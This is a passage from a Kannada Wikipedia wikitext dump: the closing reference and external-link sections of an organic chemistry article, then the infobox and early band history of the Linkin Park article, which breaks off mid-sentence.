ನಿವಾರಣಾತ್ಮಕ ಪ್ರತಿಕ್ರಿಯೆಗಳು, ಬದಲಿಕೆಯ ಪ್ರತಿಕ್ರಿಯೆಗಳು, ಆವರ್ತವನ್ನಾವರಿಸಿದ ಪ್ರತಿಕ್ರಿಯೆಗಳು, ಪ್ರತಿಕ್ರಿಯೆಗಳ ಹಾಗೂ ಆಕ್ಸಿಡೀಕರಣ ಪ್ರತಿಕ್ರಿಯೆಗಳ ಪುನರ್‌-ಹೊಂದಾಣಿಕೆಗಳು. ಸಾಧಾರಣ ಪ್ರತಿಕ್ರಿಯೆಯ ಉದಾಹರಣೆಯೆಂದರೆ [[ಬದಲಿಕೆಯ ಪ್ರತಿಕ್ರಿಯೆ|ಬದಲಿಕೆಯ ಪ್ರತಿಕ್ರಿಯೆಯಾದ]]: :Nu<sup>−</sup> + C-X → C-Nu + X<sup>−</sup> ಇಲ್ಲಿ X ಒಂದು [[ಕಾರ್ಯಕಾರಿ ಗುಂಪು]] ಹಾಗೂ Nu ಒಂದು [[ನ್ಯೂಕ್ಲಿಯೋಫೈಲ್‌]] ಆಗಿರುತ್ತದೆ. ಸಂಭವನೀಯ ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಪ್ರತಿಕ್ರಿಯೆಗಳ ಸಂಖ್ಯೆ ಮೂಲಭೂತವಾಗಿ ಅಪರಿಮಿತ. ಆದಾಗ್ಯೂ ಅನೇಕ ಸಾಧಾರಣ ಅಥವಾ ಉಪಯುಕ್ತ ಪ್ರತಿಕ್ರಿಯೆಗಳನ್ನು ವಿವರಿಸಬಲ್ಲ ನಿರ್ದಿಷ್ಟ ಸಾಧಾರಣ ಶೈಲಿಗಳನ್ನು ವಿಷದೀಕರಿಸಬಹುದಾಗಿದೆ. ಪ್ರತಿ ಪ್ರತಿಕ್ರಿಯೆಯು ಕ್ರಮವಾದ ಸರಣಿಯಲ್ಲಿನ ಪ್ರತಿಕ್ರಿಯಾ ವಿಧಾನವನ್ನು ಹೊಂದಿರುತ್ತವೆ, ಆದರೆ ಕೇವಲ ಭಾಗಿಗಳ ಪಟ್ಟಿಯಿಂದಲೇ ಹಂತಗಳ ವಿವರಣಾತ್ಮಕ ವರ್ಣನೆ ಯಾವಾಗಲೂ ಸಾಧ್ಯವಾಗಲೇ ಬೇಕೆಂದೇನಿಲ್ಲ. == ಇವನ್ನೂ ಗಮನಿಸಿ == {{Main|Outline of organic chemistry}} * [[ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರದ ಪ್ರಮುಖ ಪ್ರಕಟಣೆಗಳು]] * [[ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಪ್ರತಿಕ್ರಿಯೆಗಳ ಪಟ್ಟಿ]] * [[ಪರಮಾಣುಗಳ ಮಾದರಿಗಳು]] [[ಇಂಗಾಲ ಸಂಯುಕ್ತ ರಸಾಯನಶಾಸ್ತ್ರ]] == ಆಕರಗಳು == {{reflist|2}} == ಹೊರಗಿನ ಕೊಂಡಿಗಳು == {{WVD}} {{Wikibooks}} * [http://ocw.mit.edu/OcwWeb/Chemistry/5-12Spring-2005/CourseHome/index.htm MIT.edu] {{Webarchive|url=https://web.archive.org/web/20070421013251/http://ocw.mit.edu/OcwWeb/Chemistry/5-12Spring-2005/CourseHome/index.htm |date=2007-04-21 }}, ಓಪನ್‌ಕೋರ್ಸ್‌ವೇರ್‌ : ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರ I * [http://www.haverford.edu/wintnerorganicchem HaverFord.edu], ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರ ಉಪನ್ಯಾಸಗಳು, ವಿಡಿಯೋಗಳು ಹಾಗೂ ಲೇಖನಗಳು * ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರದ ವೈಜ್ಞಾನಿಕ ಪತ್ರಿಕೆ (ಸದಸ್ಯತ್ವ ಅಗತ್ಯ) ([http://pubs.acs.org/journals/joceah/index.html ಪರಿವಿಡಿ]) * ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಪತ್ರಗಳು(Pubs.[http://pubs.acs.org/journals/orlef7/index.html ACS.org], ಪರಿವಿಡಿ) * [http://www.thieme-connect.com/ejournals/toc/synlett Thime-Connect.com] {{Webarchive|url=https://web.archive.org/web/20080124020652/http://www.thieme-connect.com/ejournals/toc/synlett |date=2008-01-24 }}, ಸಿನ್ಲೆಟ್‌ * [http://www.thieme-connect.com/ejournals/toc/synthesis Thieme-Connect.com] {{Webarchive|url=https://web.archive.org/web/20090119144249/http://www.thieme-connect.com/ejournals/toc/synthesis |date=2009-01-19 }}, ಸಂಶ್ಲೇಷೀಕರಣ * [http://www.organic-chemistry.org Organic-Chemistry.org], ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರ ಜಾಲತಾಣ - ಇತ್ತೀಚಿನ ಸಾರಾಂಶಗಳು ಹಾಗೂ (ನಾಮ)ಪ್ರತಿಕ್ರಿಯೆಗಳು * [http://www.orgsyn.org/ Orgsyn.org], ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರ ಸಂಶ್ಲೇಷೀಕರಣ ವೈಜ್ಞಾನಿಕ ಪತ್ರಿಕೆ * [http://www.ochem4free.info Ochem4free.info], ಸಂಪೂರ್ಣ ಆನ್‌ಲೈನ್‌, ತಜ್ಞರಿಂದ-ವಿಮರ್ಶಿತ ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರದ ಲೇಖನಗಳ ಮೂಲತಾಣ * [http://www.cem.msu.edu/~reusch/VirtualText/intro1.htm#info CEM.MSU.edu], ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರದ ಅವಾಸ್ತವ ಪುಸ್ತಕ * [http://www.organicworldwide.net ವಿಶ್ವವ್ಯಾಪಿ ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರ ಸ್ರೋತಗಳು - ಕೊಂಡಿಗಳ ಸಂಗ್ರಹ] * [http://library.thinkquest.org/3659/orgchem/functionalgroups.html Thinkquest.org] {{Webarchive|url=https://web.archive.org/web/20090226150355/http://library.thinkquest.org/3659/orgchem/functionalgroups.html |date=2009-02-26 }}, ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಕುಟುಂಬಗಳು ಹಾಗೂ ಅವುಗಳ ಕಾರ್ಯಕಾರಿ ಗುಂಪುಗಳು * [http://www.organic.rogerfrost.com Organic.]RogerFrost.com, ರೋಗ/ಜರ್‌ ಫ್ರಾಸ್ಟ್‌ರ ಆರ್ಗ್ಯಾನಿಕ್‌ ಕೆಮಿಸ್ಟ್ರಿ - ಮಲ್ಟಿಮೀಡಿಯಾ ಫಾರ್‌ ಟೀಚಿಂಗ್‌ ಅಂಡ್‌ ಲರ್ನಿಂಗ್‌ * [http://www.chemhelper.com ChemHelper.com], ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರದ ಸಹಾಯ * [http://www.organic-chemistry-tutor.com Organic-Chemistry-Tutor.com], ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರ ಶಿಕ್ಷಕ * [http://www.acdlabs.com/download/ ACDlabs.com], ರಾಸಾಯನಿಕ ಉಚಿತ ತಂತ್ರಾಂಶ * [http://www.chemaxon.com/download.html/ Chemaxon.com] {{Webarchive|url=https://web.archive.org/web/20100120013500/http://www.chemaxon.com/download.html |date=2010-01-20 }}, [[ಕೆಮ್‌ಆಕ್ಸಾನ್‌|ಕೆಮ್‌ಆಕ್ಸಾನ್‌ನಿಂದ]] ರಾಸಾಯನಿಕ ಉಚಿತ ತಂತ್ರಾಂಶ. * [http://www.aceorganicchem.com/resources.html AceOrganicChem.com] {{Webarchive|url=https://web.archive.org/web/20100123224428/http://www.aceorganicchem.com/resources.html |date=2010-01-23 }}, * [http://www.orgcheminfo.8k.com/ OrgChemInfo.8k.com] {{Webarchive|url=https://web.archive.org/web/20100616044718/http://www.orgcheminfo.8k.com/ |date=2010-06-16 }}, ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರದ ಸ್ರೋತಗಳ ಸಂಗ್ರಹ * [http://www.benzylene.com/ Benzylene.com] {{Webarchive|url=https://web.archive.org/web/20091016200442/http://www.benzylene.com/ |date=2009-10-16 }}, ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರ ಪ್ರಕ್ರಿಯೆಗಳು, ವಿಧಾನಗಳು, ಹಾಗೂ ಸಮಸ್ಯೆಗಳು * [http://www.beilstein-journals.org/bjoc Beilstein-Journals.org], ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರದ ಬೇಲ್‌ಸ್ಟೇನ್‌ ವೈಜ್ಞಾನಿಕ ಪತ್ರಿಕೆ (ಮುಕ್ತ ಲಭ್ಯತೆ)) {{Organic chemistry}} {{BranchesofChemistry}} {{DEFAULTSORT:Organic Chemistry}} [[ವರ್ಗ:ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರ]] [[ವರ್ಗ:ರಸಾಯನ ವಿಜ್ಞಾನ]] 99jp1z5ydu8jejakx5p9r292rkn9gfj ಲಿಂಕಿನ್ ಪಾರ್ಕ್ 0 22765 1116437 1065163 2022-08-23T12:33:27Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox musical artist | Name = ಲಿಂಕಿನ್ ಪಾರ್ಕ್ | Img = Linkin Park @ Sonisphere.jpg | Img_capt = Linkin Park performing at 2009's [[Sonisphere#Finland|Sonisphere Festival]] | Img_size = | Landscape = Yes | Background = group_or_band | Origin = [[Agoura Hills, California|Agoura Hills]], California, United States | Genre = <!-- Do not change genre without consulting the talk page -->[[Alternative rock]], [[nu metal]], [[rap rock]] | Years_active = 1996–present | Alias = Xero (1996–1998)<ref name=Ask-Bio/><br />Hybrid Theory (1998–1999)<ref name=Ask-Bio/> | Label = [[Warner Bros. Records|Warner Bros.]], [[Machine Shop Recordings|Machine Shop]] | URL = [http://linkinpark.com www.linkinpark.com] | Associated_acts = [[Dead by Sunrise]], [[Fort Minor]], [[Jay-Z]], [[Mike Shinoda#Other musical activities|White Pegacorn]], Tasty Snax, Relative Degree, Grey Daze, Bucket of Weenies | Current_members = [[Chester Bennington]]<br />Rob Bourdon<br />[[Brad Delson]]<br />David "Phoenix" Farrell<br />[[Joe Hahn]]<br />[[Mike Shinoda]] | Past_members = Kyle Christener<br />Scott Koziol<br />Mark Wakefield }} [[.ಕ್ಯಾಲಿಫೊರ್ನಿಯಾ]]ದ [[ಅಗೌರಾ ಹಿಲ್ಸ್]] ನಲ್ಲಿ ಪ್ರಖ್ಯಾತ ಅಮೆರಿಕದ '''ಲಿಂಕಿನ್ ಪಾರ್ಕ್''' ರಾಕ್ ಬ್ಯಾಂಡ್ ವಾದ್ಯವೃಂದ ಜಗತ್ಪ್ರಸಿದ್ದಿ ಪಡೆದಿದೆ. ಇದು 1996ರಲ್ಲಿ ರಚನೆಗೊಂಡು 2000ರಲ್ಲಿ ಅಂತಾರಾಷ್ಟ್ರೀಯ ಮಟ್ಟದಲ್ಲಿ ತನ್ನ ಚೊಚ್ಚಿಲ ಅಲ್ಬಮ್ ''[[ಹೈಬ್ರೀಡ್ ಥೆಯರಿ]] '' ಯು [[ಡೈಮಂಡ್]] [[RIAA]] ಸಂಸ್ಥೆಯಿಂದ 2005ರಲ್ಲಿ ಪ್ರಮಾಣಪತ್ರದ ಪ್ರಶಸ್ತಿಪಡೆದುಕೊಂಡು <ref>Recording Industry Association of America, [http://www.riaa.com/goldandplatinumdata.php?table=tblDiamond RIAA Record Sales], Retrieved on June 13, 2007</ref> ಪ್ರಸಿದ್ದವಾಯಿತು. ಅದರ 2003ರಲ್ಲಿಯ ಸ್ಟುಡಿಯೊ ಅಲ್ಬಮ್ ''[[ಮೀಟರೊ]] '' ಬಿಡುಗಡೆಯಾಯಿತು.ಮೊದಲಿನ ಯಶಸ್ವು ಹಾಗೇ ಮುಂದುವರೆದು [[ಬಿಲ್ ಬೋರ್ಡ್ 200]] ನ ಅಲ್ಬಮ್ ಪಟ್ಟಿಯಲ್ಲಿ ಶ್ರೇಯಾಂಕಿತಗೊಂಡಿತು. ಇದರ ಜೊತೆಯಲ್ಲಿಯೇ ವಿಶ್ವಾದ್ಯಂತ್ಯದ ವ್ಯಾಪಕ ಪ್ರವಾಸ ಮತ್ತು ಅದರ ಸಾಮಾಜಿಕ ಧಾರ್ಮಿಕ ಕಾರ್ಯಗಳು <ref>Soundspike.com, [http://www.soundspike.com/news/main/article/788/album_chart_linkin_parks_meteora_shoots_to_the_top.html Album Chart: Linkin Park’s ‘Meteora’ shoots to the top] {{Webarchive|url=https://web.archive.org/web/20090504180241/http://www.soundspike.com/news/main/article/788/album_chart_linkin_parks_meteora_shoots_to_the_top.html |date=2009-05-04 }}, Retrieved on March 19, 2007</ref> ಪ್ರಾರಂಭಗೊಂಡವು.<ref name="Negri">{{cite news |first=Andrea |last=Negri |title=22 greatest bands? Something 2 argue about |work= Houston Chronicle |date=October 10, 2003}}</ref> ಇಸವಿ 2003ರಲ್ಲಿ [[MTV2]] ಸಂಸ್ಥೆಯು ಲಿಂಕಿನ್ ಪಾರ್ಕರ್ ನ್ನು ಆರನೆಯ ಪ್ರಸಿದ್ದ ಮ್ಯುಸಿಕ್ ವಿಡಿಯೊ ಯುಗ ಮತ್ತು ಮೂರನೆಯ ಅತ್ಯುತ್ತಮ ನೂತನ ಸಹಸ್ರಮಾನದ [[ಓಯಾಸಿಸ್]] ಮತ್ತು [[ಕೊಲ್ದ್ ಪ್ಲೇ]] ಎಂದು ಈ ಬ್ಯಾಂಡ್ ನ್ನು <ref name="Negri"/> ಹೆಸರಿಸಿದೆ. ತನ್ನ ಅಲ್ಬಮ್ ಗಳಲ್ಲಿ ನವೀನ ಹೊಸಶೈಲಿಗಳನ್ನು ಅಳವಡಿಸಿಕೊಂಡಿರುವ ಅದು [[ನು ಮೆಟಲ್]] (ನು ಅಂದರೆ ಗ್ರೀಕ್ ವರ್ಣಮಾಲೆಯ 13ನೆಯ ಅಕ್ಷರ )ಮತ್ತು [[ರಾಪ್ ರಾಕ್]] ಗಳನ್ನು ಆಕಾಶವಾಣಿ ರೇಡಿಯೊದ ಶಬ್ದತರಂಗಗಳನ್ನು ಒಟ್ಟುಗೂಡಿಸಿದ ಒಂದು ಹೊಸ ಪ್ರಯೋಗವೆನಿಸಿದೆ.ಅತ್ಯಂತ ಉತ್ತಮ ಧ್ವನಿ ಪ್ರಕಾರವನ್ನು ''ಹೈಬ್ರೀಡ್ ಥೆಯರಿ'' ಮತ್ತು'' ಮೀಟೊರಾ'' ದಲ್ಲಿ ಬಳಸಿ ಶ್ರೋತೃವರ್ಗವನ್ನು <ref name="ew">{{cite news |first=Tom |last=Sinclair |work=Music Review |title=Meteora (2003) |url=http://www.ew.com/ew/article/0,,435104~4~0~meteora,00.html |publisher=Entertainment Weekly |date=March 28, 2003 |accessdate=October 19, 2007 |archive-date=ಆಗಸ್ಟ್ 15, 2014 |archive-url=https://web.archive.org/web/20140815113122/http://www.ew.com/ew/article/0,,435104~4~0~meteora,00.html |url-status=dead }}</ref><ref name="msn">MSN Music, [http://music.msn.com/artist/?artist=16483411&amp;menu=bio Linkin Park: Biography] {{Webarchive|url=https://web.archive.org/web/20080514151652/http://music.msn.com/artist/?artist=16483411&menu=bio |date=2008-05-14 }}, Retrieved on June 14, 2007</ref><ref name="MacKenzie Wilson">{{cite web|url=http://www.allmusic.com/artist/linkin-park-p447095 |title=allmusic ((( Linkin Park > Overview ))) |publisher=Allmusic.com |author=MacKenzie Wilson |date= |accessdate=October 28, 2008}}</ref> ಮುಟ್ಟಿದೆ.ಅದರ ಮುಂದಿನ ಸ್ಟುಡಿಯೊ ಅಲ್ಬಮ್ ''[[ಮಿನ್ಯುಟ್ಸ್ ಟು ಮಿಡ್ ನೈಟ್]]'' ,ಇದು 2007ರಲ್ಲಿ ಹೊರಬಂದಿದೆ,ಇದರಲ್ಲಿ ರಾಕ್ ಬಾಂಡ್ ತನ್ನ ನವ್ಯ ಸಂಗೀತಗಾರಿಕೆಗೆ ಒತ್ತು <ref name="No new" /> ನೀಡಿದೆ. ಈ ಅಲ್ಬಮ್ [[ಬಿಲ್ಬೋರ್ಡನ ಪಟ್ಟಿ]]ಯಲ್ಲಿಅಗ್ರ ಸ್ಥಾನ ಗಳಿಸಿತಲ್ಲದೇ ಆ ವರ್ಷದ ಅತ್ಯುತ್ತಮ ಸಾಪ್ತಾಹಿಕ ಅಲ್ಬಮ್ ಗಳಲ್ಲಿ ಮೂರನೆಯ ಶ್ರೇಯಾಂಕದಲ್ಲಿ ನಿಂತು ಸಾಧನೆ <ref>Billboard.com, [http://www.billboard.com/bbcom/charts/chart_display.jsp?g=Albums&amp;f=The+Billboard+200 M2M holds the top slot for the current week], Retrieved on May 28, 2007</ref><ref name="billm">Billboard.com, [http://www.billboard.com/bbcom/news/article_display.jsp?vnu_content_id=1003589114 Linkin Park Scores Year's Best Debut With 'Midnight'], Retrieved on May 28, 2007</ref> ಮಾಡಿದೆ. ಈ ಬ್ಯಾಂಡ್ ವಿಭಿನ್ನ ಕಲಾವಿದರೊಂದಿಗೆ ಸಹಯೋಗ ಹೊಂದಿದ್ದು ಅದರಲ್ಲೂ ಅತ್ಯಂತ ಹೆಸರಾಂತ [[ರಾಪರ]],[[ಜಯ-Z]] ಅವರೊಂದಿಗೆ ತನ್ನ [[ಮ್ಯಾಶಪ್]] ಅಲ್ಬಮ್ ''[[ಕೊಲಿಜನ್ ಕೋರ್ಸ್]]'' ಮತ್ತು ''[[ರಿನಿಮೇಶನ್]] '' (ಪುನಃಶ್ಚೇತನಗೊಳಿಸುವಿಕೆ) ಗಳೊಡನೆ ಅದು ತನ್ನ ವಿಸ್ತಾರವನ್ನು <ref name="msn" /> ವ್ಯಾಪಿಸಿಕೊಂಡಿದೆ. ಲಿಂಕಿನ್ ಪಾರ್ಕ್ <ref>{{cite news | first=Lisa | last=Verrico | coauthors= |authorlink= | title=Linkin Park | date=January 30, 2008 | publisher=[[The Times]] | url =http://entertainment.timesonline.co.uk/tol/arts_and_entertainment/music/live_reviews/article3271745.ece | work = | pages = | accessdate = February 20, 2009 | language = }}</ref> ವಿಶ್ವಾದ್ಯಾಂತ 50ದಶಲಕ್ಷ ಅಲ್ಬಮ್ ಗಳನ್ನು ಮಾರಿ ದಾಖಲೆ ಸೃಷ್ಟಿಸಿತು.ಅದೂ ಅಲ್ಲದೇ ಎರಡು ಬಾರಿ [[ಗ್ರಾಮ್ಮಿ ಪ್ರಶಸ್ತಿ]] <ref>Rock On The Net, [http://www.rockonthenet.com/grammy/rapcollab.htm Grammy Awards: Best Rap/Sung Collaboration], Retrieved on June 9, 2007</ref><ref>Rock On The Net [http://www.rockonthenet.com/grammy/hardrock.htm Grammy Awards: Best Hard Rock Performance], Retrieved on June 14, 2006</ref> ಗಳಿಸಿತು. == ಬ್ಯಾಂಡ್ ಇತಿಹಾಸ == === ಆರಂಭಿಕ ವರ್ಷಗಳು(1996–1999) === ಪ್ರಾರಂಭಿಕವಾಗಿ ಮೂವರು ಪ್ರೌಢಶಾಲೆಯ ಗೆಳೆಯರ ಕನಸೇ ಇದರ ಅಡಿಪಾಯಕ್ಕೆ ಪ್ರೇರಣೆಯಾಯಿತು.ಮೊದಲು ಇದರ ನಾವಿಕರೆಂದರೆ [[ಮೈಕ್ ಶಿನೊಡಾ]],[[ಬ್ರಾಡ್ ಡೆಲ್ಸನ್]] ಮತ್ತು [[ರಾಬ್ ಬೌರ್ಡನ|ರಾಬ್ <ref name="Ask-Bio">AskMen.com, [http://www.askmen.com/men/entertainment_150/196c_linkin_park.html Linkin Park&nbsp;– Biography] Retrieved on March 20, 2007</ref> ಬೌರ್ಡನ]]. ಹೈಸ್ಕೂಲ್ ಶಿಕ್ಷಣದ ನಂತರದ ಅವಧಿಯಲ್ಲಿ ಕ್ಯಾಲಿಫೋರ್ನಿಯಾದಲ್ಲಿನ ಜನರಲ್ಲಿನ ಸಂಗೀತದ ಗಂಭೀರ ಆಸಕ್ತಿ ಕೆರಳಲಾರಂಭಿಸಿತು. ಇದನ್ನು ಗಮನಿಸಿದ ಇವರು ತಮ್ಮ ಬ್ಯಾಂಡ್ ನಲ್ಲಿ [[ಜೊಯ್ ಹಾನ]],ಡೇವ್ "ಫೀನಿಕ್ಸ್ "ಫಾರೆಲ್ ಮತ್ತು ಮಾರ್ಕ್ ವೇಕ್ ಫೀಲ್ದ್ ರನ್ನುನೇಮಕ ಮಾಡಿ ತಮ್ಮ ತಂಡ ಕ್ಸೆರೊದ ಸಾಮರ್ಥ್ಯ ಹೆಚ್ಚಿಸಿಕೊಂಡರು. ಮೊದ ಮೊದಲು ಅತ್ಯಂತ ಕಡಿಮೆ ಮೂಲಭೂತ ಸೌಕರ್ಯಗಳನ್ನು ಹೊಂದಿದ್ದ ಬ್ಯಾಂಡ್ ರೆಕಾರ್ಡಿಂಗ್ ಗಳನ್ನು ಶಿನೊಡಾದ ಸಾಧಾರಣ ಮಲಗುವ ಕೋಣೆಯಲ್ಲಿನ ತಾತ್ಕಾಲಿಕವಾಗಿ1996ರಲ್ಲಿ ಆರಂಭಿಸಿತು.ಇಲ್ಲಿಯೇ ಹಾಡು,ಅಲ್ಬಮ್ ಗಳ ಸಂಸ್ಕರಣ ಕಾರ್ಯಕ್ಕೆ ಚಾಲನೆ <ref name="Ask-Bio" /><ref name="Bio2">{{citeweb|url=http://www.popstarsplus.com/music_linkinpark_history.htm|title=Linkin Park&nbsp;— band history and biography|accessdate=December 23, 2007}}</ref> ದೊರೆಯಿತು. ರೆಕಾರ್ಡ್ ವೊಂದರ ವಹಿವಾಟಿನಲ್ಲಿ ತಂಡ ವಿಫಲವಾದಾಗ ಅದರೊಳಗಡೆ ಆತಂಕ ಹಾಗು ಉದ್ವಿಗ್ನತೆ <ref name="Ask-Bio" /> ಬೆಳೆಯಲಾರಂಭಿಸಿತು. ಬ್ಯಾಂಡ್ ನ ಯಶಸ್ವಿನ ಕೊರತೆ ಮತ್ತು ನಿಂತನೀರಾದ ಬೆಳವಣಿಗೆಯು ಉತ್ತಮ ಹಾಡುಗಾರ, ಸಂಗೀತಗಾರ ವೇಕ್ ಫೀಲ್ಡ್ ಬೇರೆಡೆಗೆ ತನ್ನ ಭವಿಷ್ಯ ರೂಪಿಸಿಕೊಳ್ಳಲು ಇನ್ನುಳಿದ ಯೋಜನೆಗಳತ್ತ <ref name="Ask-Bio" /><ref name="Bio2" /> ವಾಲಿದ. ಫರೆಲ್ ಕೂಡಾ ಟೇಸ್ಟಿ ಸ್ನ್ಯಾಕ್ಷ್ ಹಾಗು ಇನ್ನಿತರ ಬ್ಯಾಂಡ್ ಗಳ ಜೊತೆಗೆ ಪ್ರವಾಸಕ್ಕೆ ಹೊರಟು ತನ್ನ ಮೊದಲ ಬ್ಯಾಂಡ್ ನ್ನು <ref name="MusicMight">MusicMight.com, [http://www.musicmight.com/linkto/artist/%7B152D3B4F-F96B-445F-A2F6-DFF26B9 Linkin Park&nbsp;– MusicMight Biography] Retrieved on March 20, 2007</ref><ref>Livedaily.com, [http://www.livedaily.com/interviews/liveDaily_Interview_Linkin_Parks_Dave_Phoenix_Farrell-6078.html?t=6 LiveDaily Interview: Linkin Park’s Dave 'Phoenix' Farrell] Retrieved on March 20, 2007</ref> ತೊರೆದ. ಹಾಡುಗಾರ ವೇಕ್ ಫೀಲ್ಡ್ ನ ಜಾಗೆಗೆ ಇನ್ನೊಬ್ಬ ಕಲಾವಿದನನ್ನು ತರಲು ಬಹುಸಮಯದ ಹುಡುಕಾಟ ನಡೆಸಬೇಕಾಯಿತು.ಆ ಸಮಯದಲ್ಲಿ ಕ್ಸೆರೊ,[[ಅರಿಝೊನಾ]] ಹಾಡುಗಾರ [[ಚೆಸ್ಟರ್ ಬೆನ್ನಿಂಗ್ಟನ್]] ಅವರನ್ನು ನೇಮಕ ಮಾಡಿಕೊಳ್ಳಲಾಯಿತು. ಝೊಂಬಾ ಮ್ಯೂಸಿಕ್ ತಂಡದ ಉಪಾಧ್ಯಕ್ಷ [[ಜೆಫ್ ಬ್ಲೂ]] ಈತನನ್ನು ಮಾರ್ಚ್ 1999ರಲ್ಲಿ ಬ್ಯಾಂಡ್ ಗೆ ಶಿಫಾರಸು <ref name="LPT">Lptimes.com, [http://www.lptimes.com/bio/bio_band.html Band History] Retrieved on March 20, 2007</ref> ಮಾಡಿದ. ಈ ಮೊದಲು ಗ್ರೇ ಡೇಜ್ಕೆನಲ್ಲಿದ್ದ ಬೆನ್ನಿಂಗ್ಟನ್ ಅತ್ಯುತ್ತಮ ಪ್ರತಿಭಾನ್ವಿತ ಹಾಡುಗಾರನಾಗಿ ಆಕರ್ಷಣೆ ಪಡೆದಿದ್ದ.ಆತನ ಅಪರೂಪದ ಹಾಡುಗಾರನಾಗಿ ಕಣ್ಮನ ಸೆಳೆದಿದ್ದ. ಬ್ಯಾಂಡ್ ತನ್ನ ಹೆಸರನ್ನು ಕ್ಸೆರೊ ಬದಲಾಗಿ ಹೈಬ್ರೀಡ್ ಥೆಯರಿ ಎಂದು <ref name="MusicMight" /> ಬದಲಾಯಿಸಲಾಯಿತು. ವಿಶಿಷ್ಟ ಹಾಡುಗಾರಿಕೆಯ ಕಲಾವಿದರಾದ ಶಿನೊಡಾ ಮತ್ತು ಬೆನ್ನಿಂಗ್ಟನ ಅವರ ಸಂಗೀತದ ರಸಾಯನಿಕಶಾಸ್ತ್ರವು ಬ್ಯಾಂಡ್ ನ ಹೊಸ ವಿಷಯ-ವಸ್ತುಗಳನ್ನು ಸೇರಿಸಿ,<ref name="Ask-Bio" /> ಮರುಪರಿಷ್ಕರಣೆಗೊಳಿಸಲಾಯಿತು. ಬ್ಯಾಂಡ್ ನ ಈ ಹೊಸ ಉದಯವು ಹೆಸರಿನ ಬದಲಾವಣೆಯು ಮತ್ತೆ ಹೈಬ್ರೀಡ್ ಥೆಯರಿಯಿಂದ ಮತ್ತೆ ಅದನ್ನು ಲಿಂಕಿನ್ ಪಾರ್ಕ್ ಗೆ ವರ್ಗಾಯಿಸಲಾಯಿತು.ಇದು [[ಸಾಂಟಾ ಮೊನಿಕಾ]] ಅವರ ಸ್ಮರಣಾರ್ಥ ಪ್ರದರ್ಶಿಸಿದ ನಾಟಕವೇ <ref name="Ask-Bio"/> ಸ್ಪೂರ್ತಿಯಾಯಿತು. ಹೇಗೆಯಾದರೂ ಈ ಬದಲಾವಣೆಗಳು ಹೊಸರೂಪ ತಂದರೂ ಬ್ಯಾಂಡ್ ತನ್ನ ರೆಕಾರ್ಡ್ ವಹಿವಾಟುಗಳನ್ನು ಇನ್ನು ರುಜು ಹಾಕಿಕೊಂಡಿಲ್ಲ. ಹಲವಾರು ಪ್ರಸಿದ್ದ ರೆಕಾರ್ಡಿಂಗ್ ಗಳ ಬ್ರಾಂಡ್ ಗಳಿಂದ [[ಬ್ಯಾಂಡ್ ರೆಕಾರ್ಡ]]ಗಳು ನಿರಾಕರಣೆಯಾದವು.ಇದನ್ನು ಕಂಪೆನಿ ಸಹಿಸಿಕೊಂಡಿತು.ಆಗ ಲಿಂಕಿನ್ ಪಾರ್ಕ್ ಬ್ಯಾಂಡ್ ಹೆಚ್ಚಿನ ಸಹಾಯಕಕ್ಕಾಗಿ ತನ್ನ ಗಮನವನ್ನುಜೆಫ್ ಬ್ಲೂನೆಡೆಗೆ ಚಾಚಿತು. [[ವಾರ್ನರ್ ಬ್ರಸ.ರೆಕಾರ್ಡ್ಸ್]] ನಿಂದ ಈ ಹಿಂದಿನ ಮೂರು ಬಾರಿ ತಿರಸ್ಕೃತವಾಗಿದ್ದ ವಹಿವಾಟು ನಂತರ 1999ರಲ್ಲಿವಾರ್ನರ್ ಬ್ರಸ.ರೆಕಾರ್ಡ್ಸ್ ನ ಸದ್ಯದ ಉಪಾಧ್ಯಕ್ಷ ಜೆಫ್ ಬ್ಲೂ ಅವರು ಕಂಪೆನಿಯ ವಹಿವಾಟಿನಲ್ಲಿ ಇದನ್ನು ಸೇರಿಸಲಾಯಿತು. ನಂತರದ ವರ್ಷದಲ್ಲಿ ಬ್ಯಾಂಡ್ ನ ''[[ಹೈಬ್ರೀಡ್ ಥೆಯರಿ]]'' ಹೊಸ ಆವಿಷ್ಕಾರದ ಅಲ್ಬಮ್ <ref name="LPT" /> ಬಿಡುಗಡೆಗೊಂಡಿತು. === ''ಹೈಬ್ರೀಡ್ ಥೆಯರಿ'' (2000–2002) === ಲಿಂಕಿನ್ ಪಾರ್ಕ್ ತನ್ನ ''[[ಹೈಬ್ರೀಡ್ ಥೆಯರಿ]]'' ಅಲ್ಬಮ್ ನ್ನು 2000ನೆಯ ಅಕ್ಟೋಬರ್ 24 ರಂದು <ref>{{citeweb|url=http://rateyourmusic.com/release/album/linkin_park/hybrid_theory/|title=Linkin Park – ''Hybrid Theory released October 24, 2000.|accessdate=December 23, 2007}}</ref><ref>{{citeweb|url=http://www.linkin-park.com/?pg=albums|title=Linkin Park fansite&nbsp;— Album release date|accessdate=December 23, 2007}}</ref> ಬಿಡುಗಡೆಯಾಯಿತು. ಸುಮಾರು ಅರ್ಧ ದಶಕದ ಬ್ಯಾಂಡ್ ಪರಿಶ್ರಮವು ಈ ಅಲ್ಬಮ್ ನಲ್ಲಿದೆ.ಇದನ್ನುಸಂಗೀತ ನಿರ್ಮಾಪಕ [[ಡಾನ್ 